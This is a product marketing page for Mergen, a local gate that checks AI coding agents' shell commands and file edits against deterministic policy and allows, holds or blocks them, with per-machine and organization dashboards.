Cloud governance. Local enforcement.
Every shell command and file edit an agent makes is evaluated locally, in a few milliseconds, and passes, holds for a person, or is blocked before it runs. Each machine has its own My Machine dashboard; My Organization at mergen.app gives you the fleet-wide view: policies, approvals, and activity across every runtime.
- Claude Code
- Codex CLI (beta)
- Cursor
- VS Code
- Windsurf
- GitHub
- Slack
- PagerDuty
What an agent does, and what it leaves behind.
Shell commands and file edits, before they run
An agent's shell commands and file edits are intercepted before they run and get a deterministic verdict: Allow, Hold, or Block. Tools an agent reaches through an MCP server are not reviewed yet.
- Shell commands
- File writes
- Git operations
- Kubernetes
- SQL mutations
The code it writes, before you inherit it
Deterministic detectors read each pending file edit. By default:
- Hardcoded secretBLOCK
- Removed auth checkHOLD
- Deleted or neutered testHOLD
- Dropped CI checkHOLD
- Edited agent hooks or settingsHOLD
- Edited CI or commit-hook definitionHOLD
- Write outside the repo, into .git, or a shell startup fileHOLD
Unsafe settings, untrusted dependency sources, unsafe code and publicly exposed infrastructure are flagged, not stopped, unless your team turns one into a hold.
- Claude Code, Windsurf
- Stopped before the write lands
- Cursor, VS Code
- Lands briefly, then reverted
Your agent's own tools help it work. The Mergen gate controls what it's allowed to do. They are not the same layer.
- ✓Runs before execution
- ✓Produces Allow, Hold, or Block
- ✓Stops the handler before it runs
- ✓Cannot be treated as advice
- ✓Explains verdicts
- ✓Finds similar past decisions
- ✓Helps investigate and improve policies
- ✓Advisory: never decides Allow, Hold, or Block
Agent → Mergen → Tools
Mergen sits inline between the AI agent and the local or production runtime. Each action is intercepted and checked against deterministic policy, which decides in milliseconds whether it runs, waits for a person, or never runs.
git commit -m "feat: oauth login"That decision happens on one machine, in a few milliseconds. Once connected, every verdict it reaches then rolls up to My Organization: one view of every runtime, decision, and approval across the team. See the organization view →
Isolation and enforcement are two different questions.
Mergen can also set up the sandbox. On Claude Code, one admin command writes a network allowlist and a write scope into its managed sandbox, where the agent cannot change them. A contained agent can reach only the hosts you allow, cannot read Mergen's data, and cannot stop the gate or approve its own holds. The gate decides what should run; containment limits what anything it misses can reach.
What happens after you install Mergen.
Mergen grows with how your team adopts AI agents, from a five-minute install to organizational governance. All of it runs on one deterministic gate.
Install & Connect
Get Mergen protecting your AI agents in minutes.
- One-command setup: mergen-server setup protects every AI agent and editor it finds on the machine; use Mergen from the terminal, the editor panel, or both
- Device-authorized login: approve in the browser, no key to copy-paste; required on every plan, Free included, never payment, and enforcement still runs fully offline afterward
- Claude Code, Cursor, Windsurf and VS Code: enforcement through each tool's native hooks or the Mergen extension; Cursor and VS Code file edits are checked just after they land and reverted if blocked
- Codex CLI (beta): shell commands and patches gated before they run, once you trust the hook in Codex
- Terminal commands: mergen-server exec -- <cmd> runs anything else through the same gate
- CI runners: mergen-server gate-check pipes a pipeline command through the same policy engine
Everything above is included. No hidden enterprise-only execution engine. Only collaboration and governance scale with your plan.
My Machine and My Organization.
My Machine enforces. My Organization governs. Every machine enforces on its own, and the organization console is where a team sets policy and sees all of them at once.
The dashboard mergen-server serves on the machine it protects. No cloud round-trip, no tenant, works with the network off.
- ✓Overview: is this machine protected right now, and what needs you
- ✓Activity: every allow, hold, and block on this machine
- ✓Approvals: release or deny the action being held
- ✓Policies: the rules this machine enforces
- ✓Integrations: which agents and shells are wired in, and your connections
- ✓Settings: how this machine's gate is configured
The shared view across every machine on the team: one policy to publish, one place to answer what your agents have been doing.
- ✓Overview: fleet status at a glance
- ✓Policies: author once, publish to every machine
- ✓Runtimes: who is reporting in, and who has drifted
- ✓Decisions: what got approved or denied, team-wide
- ✓Audit: exportable record of every verdict
- ✓Members & access: people, roles, and who can approve what
- ✓Integrations: Slack, PagerDuty, and SIEM, connected once for the team
Enforcement authority stays local. If mergen.app is unreachable, every machine keeps deciding on its own. The console is coordination, never the thing standing between an agent and its next command.
Before and after: a gate in front of the agent
Put a gate in front of the dangerous stuff.
Start locally in under two minutes. Connect your team when you need shared policy, approvals, and visibility.